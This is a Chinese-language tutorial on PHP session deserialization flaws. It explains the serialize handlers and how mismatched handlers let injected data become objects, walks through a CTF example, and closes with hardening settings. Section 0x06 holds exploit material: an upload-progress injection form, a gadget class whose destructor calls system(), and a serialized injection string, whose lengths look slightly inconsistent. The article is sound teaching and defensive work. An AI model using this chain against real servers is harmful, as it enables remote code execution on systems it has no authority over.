带你走进PHP session反序列化漏洞
字数 1800 2025-08-25 22:58:35
PHP Session反序列化漏洞深入解析与防御
0x01 前言
PHP Session反序列化漏洞是一种由于PHP会话处理机制配置不当导致的安全问题,攻击者可以利用该漏洞执行任意代码或进行其他恶意操作。本文将全面解析PHP Session工作机制、反序列化漏洞原理、利用方式及防御措施。
0x02 PHP Session基础
什么是Session
Session(会话)是一种服务器端存储用户信息的机制,与Cookie的主要区别在于:
- Session数据存储在服务器端
- 仅通过Session ID在客户端进行标识
- 安全性相对较高
PHP Session工作流程
-
会话初始化:
- PHP尝试从请求中查找Session ID(通过Cookie、GET或POST)
- 如果不存在,创建新Session ID并通过Set-Cookie发送给客户端
-
会话数据存储:
- 数据存储在
$_SESSION超全局变量中 - PHP停止时自动序列化
$_SESSION内容并保存
- 数据存储在
-
会话保存机制:
- 默认使用文件系统保存(可配置)
- 文件名格式通常为
sess_[sessionid]
0x03 PHP Session配置关键项
安全相关配置
; 会话序列化处理器(关键配置)
session.serialize_handler = php|php_binary|php_serialize
; 会话ID相关
session.name = PHPSESSID
session.use_strict_mode = 0|1
session.use_only_cookies = 0|1
session.cookie_httponly = 0|1
session.cookie_secure = 0|1
; 垃圾回收
session.gc_probability = 1
session.gc_divisor = 1000
session.gc_maxlifetime = 1440
; 上传进度跟踪(可能导致安全问题)
session.upload_progress.enabled = On
session.upload_progress.cleanup = On
0x04 Session序列化处理器
PHP提供了三种序列化处理器,其存储格式差异如下:
1. php处理器(默认)
格式:键名|序列化值
示例:name|s:5:"panda";
2. php_binary处理器
格式:长度ASCII字符+键名+序列化值
示例:names:5:"panda"; (4是键名长度)
3. php_serialize处理器(PHP 5.5.4+)
格式:完整序列化数组
示例:a:1:{s:4:"name";s:5:"panda";}
0x05 反序列化漏洞原理
漏洞成因
当应用程序混合使用不同的序列化处理器时,可能导致反序列化漏洞:
- 使用
php_serialize处理器存储Session数据(允许包含特殊字符) - 使用
php处理器读取Session数据(将|作为分隔符)
攻击场景
攻击者可以注入包含|字符的恶意序列化数据,当使用不同处理器反序列化时,会将其解析为PHP对象。
漏洞利用条件
- 能够控制Session内容
- 服务器使用不同的序列化处理器进行读写
- 存在可被利用的魔术方法(如
__wakeup、__destruct)
0x06 漏洞利用实战
利用PHP_SESSION_UPLOAD_PROGRESS
当session.upload_progress.enabled启用时,可通过文件上传触发Session写入:
<form action="target.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="恶意payload" />
<input type="file" name="file" />
<input type="submit" />
</form>
攻击步骤示例
-
准备恶意序列化数据:
<?php class Exploit { public $payload = '恶意代码'; function __destruct() { system($this->payload); } } echo serialize(new Exploit()); ?> -
构造注入数据:
- 使用
php_serialize处理器:|O:7:"Exploit":1:{s:7:"payload";s:10:"id";}
- 使用
-
触发反序列化:
- 通过文件上传或其他方式写入Session
- 当使用
php处理器读取时,|后的内容会被反序列化
巅峰极客CTF例题分析
题目关键代码:
-
配置不一致:
// config.php 'ini' => array( 'session.serialize_handler' => 'php' ) // Cache.class.php ini_set('session.serialize_handler', 'php_serialize'); -
Session可控点:
$_SESSION['upload_progress_panda'] = 可控数据 -
利用链:
- 通过文件上传控制Session内容
- 构造恶意序列化数据写入Session
- 触发反序列化执行任意代码
0x07 防御措施
1. 统一序列化处理器
确保整个应用使用相同的序列化处理器(推荐php_serialize)
2. 严格会话配置
session.use_strict_mode = 1
session.use_only_cookies = 1
session.cookie_httponly = 1
session.cookie_secure = 1 # HTTPS环境下
3. 限制Session数据
- 对写入Session的数据进行严格过滤
- 避免存储用户可控的复杂数据结构
4. 禁用危险功能
session.upload_progress.enabled = Off
5. 安全编码实践
- 避免在魔术方法中执行危险操作
- 对反序列化操作进行严格限制
0x08 总结
PHP Session反序列化漏洞是一种由于序列化处理器不一致导致的安全问题,攻击者可以利用该漏洞执行任意代码。防御的关键在于:
- 统一序列化处理器配置
- 严格控制Session数据来源
- 采用安全的会话配置
- 避免危险的反序列化操作
通过全面理解Session机制和潜在风险,开发者可以构建更安全的PHP应用程序。
0x09 参考资源
- PHP官方文档 - Session安全
- PHP Bug #71101 - Session序列化处理器不一致问题
- OWASP PHP安全指南
- 巅峰极客CTF 2019 lol题目分析